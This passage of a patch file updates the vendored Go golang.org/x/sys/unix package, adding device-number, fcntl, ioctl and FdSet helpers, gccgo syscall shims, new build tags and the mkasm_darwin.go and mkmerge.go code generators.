-+ return (uint64(major) << 8) | uint64(minor)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_linux.go b/vendor/golang.org/x/sys/unix/dev_linux.go
-index c902c39e..d165d6f3 100644
---- a/vendor/golang.org/x/sys/unix/dev_linux.go
-+++ b/vendor/golang.org/x/sys/unix/dev_linux.go
-@@ -34,9 +34,9 @@ func Minor(dev uint64) uint32 {
- // Mkdev returns a Linux device number generated from the given major and minor
- // components.
- func Mkdev(major, minor uint32) uint64 {
-- dev := uint64((major & 0x00000fff) << 8)
-- dev |= uint64((major & 0xfffff000) << 32)
-- dev |= uint64((minor & 0x000000ff) << 0)
-- dev |= uint64((minor & 0xffffff00) << 12)
-+ dev := (uint64(major) & 0x00000fff) << 8
-+ dev |= (uint64(major) & 0xfffff000) << 32
-+ dev |= (uint64(minor) & 0x000000ff) << 0
-+ dev |= (uint64(minor) & 0xffffff00) << 12
- return dev
- }
-diff --git a/vendor/golang.org/x/sys/unix/dev_netbsd.go b/vendor/golang.org/x/sys/unix/dev_netbsd.go
-new file mode 100644
-index 00000000..b4a203d0
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_netbsd.go
-@@ -0,0 +1,29 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in NetBSD's sys/types.h header.
-+
-+package unix
-+
-+// Major returns the major component of a NetBSD device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev & 0x000fff00) >> 8)
-+}
-+
-+// Minor returns the minor component of a NetBSD device number.
-+func Minor(dev uint64) uint32 {
-+ minor := uint32((dev & 0x000000ff) >> 0)
-+ minor |= uint32((dev & 0xfff00000) >> 12)
-+ return minor
-+}
-+
-+// Mkdev returns a NetBSD device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ dev := (uint64(major) << 8) & 0x000fff00
-+ dev |= (uint64(minor) << 12) & 0xfff00000
-+ dev |= (uint64(minor) << 0) & 0x000000ff
-+ return dev
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dev_openbsd.go b/vendor/golang.org/x/sys/unix/dev_openbsd.go
-new file mode 100644
-index 00000000..f3430c42
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/dev_openbsd.go
-@@ -0,0 +1,29 @@
-+// Copyright 2017 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Functions to access/create device major and minor numbers matching the
-+// encoding used in OpenBSD's sys/types.h header.
-+
-+package unix
-+
-+// Major returns the major component of an OpenBSD device number.
-+func Major(dev uint64) uint32 {
-+ return uint32((dev & 0x0000ff00) >> 8)
-+}
-+
-+// Minor returns the minor component of an OpenBSD device number.
-+func Minor(dev uint64) uint32 {
-+ minor := uint32((dev & 0x000000ff) >> 0)
-+ minor |= uint32((dev & 0xffff0000) >> 8)
-+ return minor
-+}
-+
-+// Mkdev returns an OpenBSD device number generated from the given major and minor
-+// components.
-+func Mkdev(major, minor uint32) uint64 {
-+ dev := (uint64(major) << 8) & 0x0000ff00
-+ dev |= (uint64(minor) << 8) & 0xffff0000
-+ dev |= (uint64(minor) << 0) & 0x000000ff
-+ return dev
-+}
-diff --git a/vendor/golang.org/x/sys/unix/dirent.go b/vendor/golang.org/x/sys/unix/dirent.go
-index bd475812..304016b6 100644
---- a/vendor/golang.org/x/sys/unix/dirent.go
-+++ b/vendor/golang.org/x/sys/unix/dirent.go
-@@ -2,7 +2,7 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux nacl netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/endian_little.go b/vendor/golang.org/x/sys/unix/endian_little.go
-index 085df2d8..bcdb5d30 100644
---- a/vendor/golang.org/x/sys/unix/endian_little.go
-+++ b/vendor/golang.org/x/sys/unix/endian_little.go
-@@ -2,7 +2,7 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
- //
--// +build 386 amd64 amd64p32 arm arm64 ppc64le mipsle mips64le
-+// +build 386 amd64 amd64p32 arm arm64 ppc64le mipsle mips64le riscv64
-
- package unix
-
-diff --git a/vendor/golang.org/x/sys/unix/env_unix.go b/vendor/golang.org/x/sys/unix/env_unix.go
-index 45e281a0..84178b0a 100644
---- a/vendor/golang.org/x/sys/unix/env_unix.go
-+++ b/vendor/golang.org/x/sys/unix/env_unix.go
-@@ -1,8 +1,8 @@
--// Copyright 2010 The Go Authors. All rights reserved.
-+// Copyright 2010 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd solaris
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-
- // Unix environment variables.
-
-@@ -25,3 +25,7 @@ func Clearenv() {
- func Environ() []string {
- return syscall.Environ()
- }
-+
-+func Unsetenv(key string) error {
-+ return syscall.Unsetenv(key)
-+}
-diff --git a/vendor/golang.org/x/sys/unix/env_unset.go b/vendor/golang.org/x/sys/unix/env_unset.go
-deleted file mode 100644
-index 92222625..00000000
---- a/vendor/golang.org/x/sys/unix/env_unset.go
-+++ /dev/null
-@@ -1,14 +0,0 @@
--// Copyright 2014 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build go1.4
--
--package unix
--
--import "syscall"
--
--func Unsetenv(key string) error {
-- // This was added in Go 1.4.
-- return syscall.Unsetenv(key)
--}
-diff --git a/vendor/golang.org/x/sys/unix/errors_freebsd_386.go b/vendor/golang.org/x/sys/unix/errors_freebsd_386.go
-index c56bc8b0..761db66e 100644
---- a/vendor/golang.org/x/sys/unix/errors_freebsd_386.go
-+++ b/vendor/golang.org/x/sys/unix/errors_freebsd_386.go
-@@ -8,6 +8,7 @@
- package unix
-
- const (
-+ DLT_HHDLC = 0x79
- IFF_SMART = 0x20
- IFT_1822 = 0x2
- IFT_A12MPPSWITCH = 0x82
-@@ -210,13 +211,18 @@ const (
- IFT_XETHER = 0x1a
- IPPROTO_MAXID = 0x34
- IPV6_FAITH = 0x1d
-+ IPV6_MIN_MEMBERSHIPS = 0x1f
- IP_FAITH = 0x16
-+ IP_MAX_SOURCE_FILTER = 0x400
-+ IP_MIN_MEMBERSHIPS = 0x1f
- MAP_NORESERVE = 0x40
- MAP_RENAME = 0x20
- NET_RT_MAXID = 0x6
- RTF_PRCLONING = 0x10000
- RTM_OLDADD = 0x9
- RTM_OLDDEL = 0xa
-+ RT_CACHING_CONTEXT = 0x1
-+ RT_NORTREF = 0x2
- SIOCADDRT = 0x8030720a
- SIOCALIFADDR = 0x8118691b
- SIOCDELRT = 0x8030720b
-diff --git a/vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go b/vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
-index 3e977117..070f44b6 100644
---- a/vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/errors_freebsd_amd64.go
-@@ -8,6 +8,7 @@
- package unix
-
- const (
-+ DLT_HHDLC = 0x79
- IFF_SMART = 0x20
- IFT_1822 = 0x2
- IFT_A12MPPSWITCH = 0x82
-@@ -210,13 +211,18 @@ const (
- IFT_XETHER = 0x1a
- IPPROTO_MAXID = 0x34
- IPV6_FAITH = 0x1d
-+ IPV6_MIN_MEMBERSHIPS = 0x1f
- IP_FAITH = 0x16
-+ IP_MAX_SOURCE_FILTER = 0x400
-+ IP_MIN_MEMBERSHIPS = 0x1f
- MAP_NORESERVE = 0x40
- MAP_RENAME = 0x20
- NET_RT_MAXID = 0x6
- RTF_PRCLONING = 0x10000
- RTM_OLDADD = 0x9
- RTM_OLDDEL = 0xa
-+ RT_CACHING_CONTEXT = 0x1
-+ RT_NORTREF = 0x2
- SIOCADDRT = 0x8040720a
- SIOCALIFADDR = 0x8118691b
- SIOCDELRT = 0x8040720b
-diff --git a/vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go b/vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
-new file mode 100644
-index 00000000..946dcf3f
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/errors_freebsd_arm64.go
-@@ -0,0 +1,17 @@
-+// Copyright 2020 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// Constants that were deprecated or moved to enums in the FreeBSD headers. Keep
-+// them here for backwards compatibility.
-+
-+package unix
-+
-+const (
-+ DLT_HHDLC = 0x79
-+ IPV6_MIN_MEMBERSHIPS = 0x1f
-+ IP_MAX_SOURCE_FILTER = 0x400
-+ IP_MIN_MEMBERSHIPS = 0x1f
-+ RT_CACHING_CONTEXT = 0x1
-+ RT_NORTREF = 0x2
-+)
-diff --git a/vendor/golang.org/x/sys/unix/flock.go b/vendor/golang.org/x/sys/unix/fcntl.go
-similarity index 54%
-rename from vendor/golang.org/x/sys/unix/flock.go
-rename to vendor/golang.org/x/sys/unix/fcntl.go
-index 2994ce75..4dc53486 100644
---- a/vendor/golang.org/x/sys/unix/flock.go
-+++ b/vendor/golang.org/x/sys/unix/fcntl.go
-@@ -2,16 +2,30 @@
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
--// +build darwin dragonfly freebsd linux netbsd openbsd
-+// +build dragonfly freebsd linux netbsd openbsd
-
- package unix
-
- import "unsafe"
-
- // fcntl64Syscall is usually SYS_FCNTL, but is overridden on 32-bit Linux
--// systems by flock_linux_32bit.go to be SYS_FCNTL64.
-+// systems by fcntl_linux_32bit.go to be SYS_FCNTL64.
- var fcntl64Syscall uintptr = SYS_FCNTL
-
-+func fcntl(fd int, cmd, arg int) (int, error) {
-+ valptr, _, errno := Syscall(fcntl64Syscall, uintptr(fd), uintptr(cmd), uintptr(arg))
-+ var err error
-+ if errno != 0 {
-+ err = errno
-+ }
-+ return int(valptr), err
-+}
-+
-+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
-+func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
-+ return fcntl(int(fd), cmd, arg)
-+}
-+
- // FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
- func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
- _, _, errno := Syscall(fcntl64Syscall, fd, uintptr(cmd), uintptr(unsafe.Pointer(lk)))
-diff --git a/vendor/golang.org/x/sys/unix/fcntl_darwin.go b/vendor/golang.org/x/sys/unix/fcntl_darwin.go
-new file mode 100644
-index 00000000..5868a4a4
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/fcntl_darwin.go
-@@ -0,0 +1,18 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+package unix
-+
-+import "unsafe"
-+
-+// FcntlInt performs a fcntl syscall on fd with the provided command and argument.
-+func FcntlInt(fd uintptr, cmd, arg int) (int, error) {
-+ return fcntl(int(fd), cmd, arg)
-+}
-+
-+// FcntlFlock performs a fcntl syscall for the F_GETLK, F_SETLK or F_SETLKW command.
-+func FcntlFlock(fd uintptr, cmd int, lk *Flock_t) error {
-+ _, err := fcntl(int(fd), cmd, int(uintptr(unsafe.Pointer(lk))))
-+ return err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/flock_linux_32bit.go b/vendor/golang.org/x/sys/unix/fcntl_linux_32bit.go
-similarity index 100%
-rename from vendor/golang.org/x/sys/unix/flock_linux_32bit.go
-rename to vendor/golang.org/x/sys/unix/fcntl_linux_32bit.go
-diff --git a/vendor/golang.org/x/sys/unix/fdset.go b/vendor/golang.org/x/sys/unix/fdset.go
-new file mode 100644
-index 00000000..b27be0a0
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/fdset.go
-@@ -0,0 +1,29 @@
-+// Copyright 2019 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+
-+package unix
-+
-+// Set adds fd to the set fds.
-+func (fds *FdSet) Set(fd int) {
-+ fds.Bits[fd/NFDBITS] |= (1 << (uintptr(fd) % NFDBITS))
-+}
-+
-+// Clear removes fd from the set fds.
-+func (fds *FdSet) Clear(fd int) {
-+ fds.Bits[fd/NFDBITS] &^= (1 << (uintptr(fd) % NFDBITS))
-+}
-+
-+// IsSet returns whether fd is in the set fds.
-+func (fds *FdSet) IsSet(fd int) bool {
-+ return fds.Bits[fd/NFDBITS]&(1<<(uintptr(fd)%NFDBITS)) != 0
-+}
-+
-+// Zero clears the set fds.
-+func (fds *FdSet) Zero() {
-+ for i := range fds.Bits {
-+ fds.Bits[i] = 0
-+ }
-+}
-diff --git a/vendor/golang.org/x/sys/unix/file_unix.go b/vendor/golang.org/x/sys/unix/file_unix.go
-deleted file mode 100644
-index 47f6a83f..00000000
---- a/vendor/golang.org/x/sys/unix/file_unix.go
-+++ /dev/null
-@@ -1,27 +0,0 @@
--// Copyright 2017 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--package unix
--
--import (
-- "os"
-- "syscall"
--)
--
--// FIXME: unexported function from os
--// syscallMode returns the syscall-specific mode bits from Go's portable mode bits.
--func syscallMode(i os.FileMode) (o uint32) {
-- o |= uint32(i.Perm())
-- if i&os.ModeSetuid != 0 {
-- o |= syscall.S_ISUID
-- }
-- if i&os.ModeSetgid != 0 {
-- o |= syscall.S_ISGID
-- }
-- if i&os.ModeSticky != 0 {
-- o |= syscall.S_ISVTX
-- }
-- // No mapping for Go's ModeTemporary (plan9 only).
-- return
--}
-diff --git a/vendor/golang.org/x/sys/unix/gccgo.go b/vendor/golang.org/x/sys/unix/gccgo.go
-index 94c82321..cd6f5a61 100644
---- a/vendor/golang.org/x/sys/unix/gccgo.go
-+++ b/vendor/golang.org/x/sys/unix/gccgo.go
-@@ -1,19 +1,30 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2015 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
- // +build gccgo
-+// +build !aix
-
- package unix
-
- import "syscall"
-
--// We can't use the gc-syntax .s files for gccgo. On the plus side
-+// We can't use the gc-syntax .s files for gccgo. On the plus side
- // much of the functionality can be written directly in Go.
-
-+//extern gccgoRealSyscallNoError
-+func realSyscallNoError(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r uintptr)
-+
- //extern gccgoRealSyscall
- func realSyscall(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r, errno uintptr)
-
-+func SyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) {
-+ syscall.Entersyscall()
-+ r := realSyscallNoError(trap, a1, a2, a3, 0, 0, 0, 0, 0, 0)
-+ syscall.Exitsyscall()
-+ return r, 0
-+}
-+
- func Syscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) {
- syscall.Entersyscall()
- r, errno := realSyscall(trap, a1, a2, a3, 0, 0, 0, 0, 0, 0)
-@@ -35,6 +46,11 @@ func Syscall9(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9 uintptr) (r1, r2 uintptr,
- return r, 0, syscall.Errno(errno)
- }
-
-+func RawSyscallNoError(trap, a1, a2, a3 uintptr) (r1, r2 uintptr) {
-+ r := realSyscallNoError(trap, a1, a2, a3, 0, 0, 0, 0, 0, 0)
-+ return r, 0
-+}
-+
- func RawSyscall(trap, a1, a2, a3 uintptr) (r1, r2 uintptr, err syscall.Errno) {
- r, errno := realSyscall(trap, a1, a2, a3, 0, 0, 0, 0, 0, 0)
- return r, 0, syscall.Errno(errno)
-diff --git a/vendor/golang.org/x/sys/unix/gccgo_c.c b/vendor/golang.org/x/sys/unix/gccgo_c.c
-index 07f6be03..c44730c5 100644
---- a/vendor/golang.org/x/sys/unix/gccgo_c.c
-+++ b/vendor/golang.org/x/sys/unix/gccgo_c.c
-@@ -1,8 +1,9 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2015 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
- // +build gccgo
-+// +build !aix
-
- #include <errno.h>
- #include <stdint.h>
-@@ -31,11 +32,8 @@ gccgoRealSyscall(uintptr_t trap, uintptr_t a1, uintptr_t a2, uintptr_t a3, uintp
- return r;
- }
-
--// Define the use function in C so that it is not inlined.
--
--extern void use(void *) __asm__ (GOSYM_PREFIX GOPKGPATH ".use") __attribute__((noinline));
--
--void
--use(void *p __attribute__ ((unused)))
-+uintptr_t
-+gccgoRealSyscallNoError(uintptr_t trap, uintptr_t a1, uintptr_t a2, uintptr_t a3, uintptr_t a4, uintptr_t a5, uintptr_t a6, uintptr_t a7, uintptr_t a8, uintptr_t a9)
- {
-+ return syscall(trap, a1, a2, a3, a4, a5, a6, a7, a8, a9);
- }
-diff --git a/vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go b/vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go
-index bffe1a77..251a977a 100644
---- a/vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go
-+++ b/vendor/golang.org/x/sys/unix/gccgo_linux_amd64.go
-@@ -1,4 +1,4 @@
--// Copyright 2015 The Go Authors. All rights reserved.
-+// Copyright 2015 The Go Authors. All rights reserved.
- // Use of this source code is governed by a BSD-style
- // license that can be found in the LICENSE file.
-
-diff --git a/vendor/golang.org/x/sys/unix/gccgo_linux_sparc64.go b/vendor/golang.org/x/sys/unix/gccgo_linux_sparc64.go
-deleted file mode 100644
-index 56332692..00000000
---- a/vendor/golang.org/x/sys/unix/gccgo_linux_sparc64.go
-+++ /dev/null
-@@ -1,20 +0,0 @@
--// Copyright 2016 The Go Authors. All rights reserved.
--// Use of this source code is governed by a BSD-style
--// license that can be found in the LICENSE file.
--
--// +build gccgo,linux,sparc64
--
--package unix
--
--import "syscall"
--
--//extern sysconf
--func realSysconf(name int) int64
--
--func sysconf(name int) (n int64, err syscall.Errno) {
-- r := realSysconf(name)
-- if r < 0 {
-- return 0, syscall.GetErrno()
-- }
-- return r, 0
--}
-diff --git a/vendor/golang.org/x/sys/unix/ioctl.go b/vendor/golang.org/x/sys/unix/ioctl.go
-new file mode 100644
-index 00000000..3559e5dc
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/ioctl.go
-@@ -0,0 +1,65 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build aix darwin dragonfly freebsd linux netbsd openbsd solaris
-+
-+package unix
-+
-+import (
-+ "runtime"
-+ "unsafe"
-+)
-+
-+// ioctl itself should not be exposed directly, but additional get/set
-+// functions for specific types are permissible.
-+
-+// IoctlSetInt performs an ioctl operation which sets an integer value
-+// on fd, using the specified request number.
-+func IoctlSetInt(fd int, req uint, value int) error {
-+ return ioctl(fd, req, uintptr(value))
-+}
-+
-+// IoctlSetWinsize performs an ioctl on fd with a *Winsize argument.
-+//
-+// To change fd's window size, the req argument should be TIOCSWINSZ.
-+func IoctlSetWinsize(fd int, req uint, value *Winsize) error {
-+ // TODO: if we get the chance, remove the req parameter and
-+ // hardcode TIOCSWINSZ.
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+ runtime.KeepAlive(value)
-+ return err
-+}
-+
-+// IoctlSetTermios performs an ioctl on fd with a *Termios.
-+//
-+// The req value will usually be TCSETA or TIOCSETA.
-+func IoctlSetTermios(fd int, req uint, value *Termios) error {
-+ // TODO: if we get the chance, remove the req parameter.
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(value)))
-+ runtime.KeepAlive(value)
-+ return err
-+}
-+
-+// IoctlGetInt performs an ioctl operation which gets an integer value
-+// from fd, using the specified request number.
-+//
-+// A few ioctl requests use the return value as an output parameter;
-+// for those, IoctlRetInt should be used instead of this function.
-+func IoctlGetInt(fd int, req uint) (int, error) {
-+ var value int
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+ return value, err
-+}
-+
-+func IoctlGetWinsize(fd int, req uint) (*Winsize, error) {
-+ var value Winsize
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+ return &value, err
-+}
-+
-+func IoctlGetTermios(fd int, req uint) (*Termios, error) {
-+ var value Termios
-+ err := ioctl(fd, req, uintptr(unsafe.Pointer(&value)))
-+ return &value, err
-+}
-diff --git a/vendor/golang.org/x/sys/unix/mkasm_darwin.go b/vendor/golang.org/x/sys/unix/mkasm_darwin.go
-new file mode 100644
-index 00000000..6f7bb6ed
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mkasm_darwin.go
-@@ -0,0 +1,78 @@
-+// Copyright 2018 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+// mkasm_darwin.go generates assembly trampolines to call libSystem routines from Go.
-+//This program must be run after mksyscall.go.
-+package main
-+
-+import (
-+ "bytes"
-+ "fmt"
-+ "io/ioutil"
-+ "log"
-+ "os"
-+ "strings"
-+)
-+
-+func writeASMFile(in string, fileName string, buildTags string) {
-+ trampolines := map[string]bool{}
-+
-+ var out bytes.Buffer
-+
-+ fmt.Fprintf(&out, "// go run mkasm_darwin.go %s\n", strings.Join(os.Args[1:], " "))
-+ fmt.Fprintf(&out, "// Code generated by the command above; DO NOT EDIT.\n")
-+ fmt.Fprintf(&out, "\n")
-+ fmt.Fprintf(&out, "// +build %s\n", buildTags)
-+ fmt.Fprintf(&out, "\n")
-+ fmt.Fprintf(&out, "#include \"textflag.h\"\n")
-+ for _, line := range strings.Split(in, "\n") {
-+ if !strings.HasPrefix(line, "func ") || !strings.HasSuffix(line, "_trampoline()") {
-+ continue
-+ }
-+ fn := line[5 : len(line)-13]
-+ if !trampolines[fn] {
-+ trampolines[fn] = true
-+ fmt.Fprintf(&out, "TEXT ·%s_trampoline(SB),NOSPLIT,$0-0\n", fn)
-+ fmt.Fprintf(&out, "\tJMP\t%s(SB)\n", fn)
-+ }
-+ }
-+ err := ioutil.WriteFile(fileName, out.Bytes(), 0644)
-+ if err != nil {
-+ log.Fatalf("can't write %s: %s", fileName, err)
-+ }
-+}
-+
-+func main() {
-+ in1, err := ioutil.ReadFile("syscall_darwin.go")
-+ if err != nil {
-+ log.Fatalf("can't open syscall_darwin.go: %s", err)
-+ }
-+ arch := os.Args[1]
-+ in2, err := ioutil.ReadFile(fmt.Sprintf("syscall_darwin_%s.go", arch))
-+ if err != nil {
-+ log.Fatalf("can't open syscall_darwin_%s.go: %s", arch, err)
-+ }
-+ in3, err := ioutil.ReadFile(fmt.Sprintf("zsyscall_darwin_%s.go", arch))
-+ if err != nil {
-+ log.Fatalf("can't open zsyscall_darwin_%s.go: %s", arch, err)
-+ }
-+ in := string(in1) + string(in2) + string(in3)
-+
-+ writeASMFile(in, fmt.Sprintf("zsyscall_darwin_%s.s", arch), "go1.12")
-+
-+ in1, err = ioutil.ReadFile("syscall_darwin.1_13.go")
-+ if err != nil {
-+ log.Fatalf("can't open syscall_darwin.1_13.go: %s", err)
-+ }
-+ in2, err = ioutil.ReadFile(fmt.Sprintf("zsyscall_darwin_%s.1_13.go", arch))
-+ if err != nil {
-+ log.Fatalf("can't open zsyscall_darwin_%s.1_13.go: %s", arch, err)
-+ }
-+
-+ in = string(in1) + string(in2)
-+
-+ writeASMFile(in, fmt.Sprintf("zsyscall_darwin_%s.1_13.s", arch), "go1.13")
-+}
-diff --git a/vendor/golang.org/x/sys/unix/mkmerge.go b/vendor/golang.org/x/sys/unix/mkmerge.go
-new file mode 100644
-index 00000000..8bde4501
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/mkmerge.go
-@@ -0,0 +1,521 @@
-+// Copyright 2020 The Go Authors. All rights reserved.
-+// Use of this source code is governed by a BSD-style
-+// license that can be found in the LICENSE file.
-+
-+// +build ignore
-+
-+// mkmerge.go parses generated source files and merges common
-+// consts, funcs, and types into a common source file, per GOOS.
-+//
-+// Usage:
-+// $ go run mkmerge.go -out MERGED FILE [FILE ...]
-+//
-+// Example:
-+// # Remove all common consts, funcs, and types from zerrors_linux_*.go
-+// # and write the common code into zerrors_linux.go
-+// $ go run mkmerge.go -out zerrors_linux.go zerrors_linux_*.go
-+//
-+// mkmerge.go performs the merge in the following steps:
-+// 1. Construct the set of common code that is idential in all
-+// architecture-specific files.
-+// 2. Write this common code to the merged file.
-+// 3. Remove the common code from all architecture-specific files.
-+package main
-+
-+import (
-+ "bufio"
-+ "bytes"
-+ "flag"
-+ "fmt"
-+ "go/ast"
-+ "go/format"
-+ "go/parser"
-+ "go/token"
-+ "io"
-+ "io/ioutil"
-+ "log"
-+ "os"
-+ "path"
-+ "path/filepath"
-+ "regexp"
-+ "strconv"
-+ "strings"
-+)
-+
-+const validGOOS = "aix|darwin|dragonfly|freebsd|linux|netbsd|openbsd|solaris"
-+
-+// getValidGOOS returns GOOS, true if filename ends with a valid "_GOOS.go"
-+func getValidGOOS(filename string) (string, bool) {
-+ matches := regexp.MustCompile(`_(` + validGOOS + `)\.go$`).FindStringSubmatch(filename)
-+ if len(matches) != 2 {
-+ return "", false
-+ }
-+ return matches[1], true
-+}
-+
-+// codeElem represents an ast.Decl in a comparable way.
-+type codeElem struct {
-+ tok token.Token // e.g. token.CONST, token.TYPE, or token.FUNC
-+ src string // the declaration formatted as source code
-+}
-+
-+// newCodeElem returns a codeElem based on tok and node, or an error is returned.
-+func newCodeElem(tok token.Token, node ast.Node) (codeElem, error) {
-+ var b strings.Builder
-+ err := format.Node(&b, token.NewFileSet(), node)
-+ if err != nil {
-+ return codeElem{}, err
-+ }
-+ return codeElem{tok, b.String()}, nil
-+}
-+
-+// codeSet is a set of codeElems
-+type codeSet struct {
-+ set map[codeElem]bool // true for all codeElems in the set
-+}
-+
-+// newCodeSet returns a new codeSet
-+func newCodeSet() *codeSet { return &codeSet{make(map[codeElem]bool)} }
-+
-+// add adds elem to c
-+func (c *codeSet) add(elem codeElem) { c.set[elem] = true }
-+
-+// has returns true if elem is in c
-+func (c *codeSet) has(elem codeElem) bool { return c.set[elem] }
-+
-+// isEmpty returns true if the set is empty
-+func (c *codeSet) isEmpty() bool { return len(c.set) == 0 }
-+
-+// intersection returns a new set which is the intersection of c and a
-+func (c *codeSet) intersection(a *codeSet) *codeSet {
-+ res := newCodeSet()
-+
-+ for elem := range c.set {
-+ if a.has(elem) {
-+ res.add(elem)
-+ }
-+ }
-+ return res
-+}
-+
-+// keepCommon is a filterFn for filtering the merged file with common declarations.
-+func (c *codeSet) keepCommon(elem codeElem) bool {
-+ switch elem.tok {
-+ case token.VAR:
-+ // Remove all vars from the merged file
-+ return false
-+ case token.CONST, token.TYPE, token.FUNC, token.COMMENT:
-+ // Remove arch-specific consts, types, functions, and file-level comments from the merged file
-+ return c.has(elem)
-+ case token.IMPORT:
-+ // Keep imports, they are handled by filterImports
-+ return true
-+ }
-+
-+ log.Fatalf("keepCommon: invalid elem %v", elem)
-+ return true
-+}
-+
-+// keepArchSpecific is a filterFn for filtering the GOARC-specific files.
-+func (c *codeSet) keepArchSpecific(elem codeElem) bool {
-+ switch elem.tok {
-+ case token.CONST, token.TYPE, token.FUNC:
-+ // Remove common consts, types, or functions from the arch-specific file
-+ return !c.has(elem)
-+ }
-+ return true
-+}
-+
-+// srcFile represents a source file
-+type srcFile struct {
-+ name string
-+ src []byte
-+}
-+
-+// filterFn is a helper for filter
-+type filterFn func(codeElem) bool
-+
-+// filter parses and filters Go source code from src, removing top
-+// level declarations using keep as predicate.
-+// For src parameter, please see docs for parser.ParseFile.
-+func filter(src interface{}, keep filterFn) ([]byte, error) {
-+ // Parse the src into an ast
-+ fset := token.NewFileSet()
-+ f, err := parser.ParseFile(fset, "", src, parser.ParseComments)
-+ if err != nil {
-+ return nil, err
-+ }
-+ cmap := ast.NewCommentMap(fset, f, f.Comments)
-+
-+ // Group const/type specs on adjacent lines
-+ var groups specGroups = make(map[string]int)
-+ var groupID int
-+
-+ decls := f.Decls
-+ f.Decls = f.Decls[:0]
-+ for _, decl := range decls {
-+ switch decl := decl.(type) {
-+ case *ast.GenDecl:
-+ // Filter imports, consts, types, vars
-+ specs := decl.Specs
-+ decl.Specs = decl.Specs[:0]
-+ for i, spec := range specs {
-+ elem, err := newCodeElem(decl.Tok, spec)
-+ if err != nil {
-+ return nil, err
-+ }
-+
-+ // Create new group if there are empty lines between this and the previous spec
-+ if i > 0 && fset.Position(specs[i-1].End()).Line < fset.Position(spec.Pos()).Line-1 {
-+ groupID++
-+ }
-+
-+ // Check if we should keep this spec
-+ if keep(elem) {
-+ decl.Specs = append(decl.Specs, spec)
-+ groups.add(elem.src, groupID)
-+ }
-+ }
-+ // Check if we should keep this decl
-+ if len(decl.Specs) > 0 {
-+ f.Decls = append(f.Decls, decl)
-+ }
-+ case *ast.FuncDecl:
-+ // Filter funcs
-+ elem, err := newCodeElem(token.FUNC, decl)
-+ if err != nil {
-+ return nil, err
-+ }
-+ if keep(elem) {
-+ f.Decls = append(f.Decls, decl)
-+ }
-+ }
-+ }
-+
-+ // Filter file level comments
-+ if cmap[f] != nil {
-+ commentGroups := cmap[f]
-+ cmap[f] = cmap[f][:0]
-+ for _, cGrp := range commentGroups {
-+ if keep(codeElem{token.COMMENT, cGrp.Text()}) {
